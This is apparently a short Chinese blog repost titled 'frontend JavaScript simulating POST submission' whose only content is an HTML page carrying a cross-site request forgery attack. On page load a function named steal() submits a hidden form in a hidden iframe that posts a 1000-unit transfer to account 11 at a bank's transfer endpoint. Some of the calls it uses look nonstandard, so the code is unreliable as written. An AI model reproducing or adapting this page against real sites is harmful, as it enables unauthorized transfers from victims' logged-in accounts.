前端javascript模拟POST提交
作者:
ZYK的轮子 | 来源:发表于
2017-09-26 10:48 被阅读0次<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
本文标题:前端javascript模拟POST提交
本文链接:https://www.haomeiwen.com/subject/siqsextx.html
网友评论